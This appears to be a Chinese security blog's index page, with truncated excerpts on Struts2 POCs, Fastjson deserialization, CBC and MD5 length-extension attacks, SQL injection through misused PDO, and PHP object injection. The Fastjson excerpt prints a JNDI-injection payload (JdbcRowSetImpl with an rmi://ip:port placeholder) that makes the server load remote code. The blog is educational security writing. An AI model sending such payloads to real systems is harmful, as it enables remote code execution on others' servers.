好久没管博客了,怕这个博客也废了,传个以前写的笔记上来。当初写这个原因也很简单,每次struts2的漏洞出来了,连大佬们的POC都看不懂为啥要这样写,即使有了POC也不懂得咋去变通使用,所以就去学习了一发,笔记做的比较简略了。最近的考试都完了,虽然还没毕业,但是感觉整个大学都结束了一般。struts2 框架web.xml为整个项目的入口。 添加struts2的过滤器,<filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.di...

更新:更简洁的 payload,更多的可以参考 marshalsec 文档{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Object","autoCommit":true}其实这个 Gadget 是借助 Setter 来做的触发,因为 Fastjson 在还原对象的时候用的 Setter 来给对象中的成员变量赋值。从 SetautoCommit 方法开始最终会进入一个 lookup 方法,参...

上学期密码程序设计的时候选的MD5就想到了解好了原理可以去写一篇关于其长度扩展攻击的博客,只是一直拖着没写。这几天打比赛的时候又碰到了跟密码学相关的题目了,密码学方面是真的弱,是时候记录一发了。CBC的加密与解密引用下维基对CBC的描述:1976年,IBM发明了密码分组链接(CBC,Cipher-block chaining)。在CBC模式中,每个明文块先与前一个密文块进行异或后,再进行加密。在这种方法中,每个密文块都依赖于它前面的所有明文块。同时,为了保证每条消息的唯一性,在第一个块中需要使用初始化向量。CBC属于分组密码工作模式,所以在加密或是解密之前都会有一个分组的过程。比如:AE...

在网上搜到关于PDO的信息大多都是如何使用它来防止注入这样的安全问题出现,导致以前一直觉得只要是使用PDO的预处理来操作数据库的话就不会再有注入的出现。直到前些时间看了微擎的源码后发现并不是这样的,再好的东西用的不好还是会有问题出现。也难怪它被挖了这么多的注入。。。一些基本的用法PDO::query() — 执行一条语句,并返回一个PDOStatement对象PDO::exec() — 执行一条 SQL 语句,并返回受影响的行数PDO::errorInfo() — 获取跟上一次语句句柄操作相关的扩展错误信息PDO::prepare() — 预处理一条SQL语句,并返回一个PDOState...

在理解对象注入之前要知道的一些东西。PHP中的序列化在说序列化之前,我记得以前有过这样一个疑问:为什么需要序列化? 后来我在网上搜到了这样一个回答很好的解决了我的疑问。"你有一个应用程序,需要传一些数据给其它应用程序,但数据保存在你的进程的堆栈中,其它进程无法访问你的应用程序进程的堆栈,要想把你的程序的数据给其它程序使用,必须将数据以某种形式传给其它进程,这个‘某种形式’就是序列化 。"写了一小段代码来查看PHP不同类型变量序列化后的样子。<?php $v1 = 123; $v2 = 1.23; $v3 = '123'; $v4 = true; ...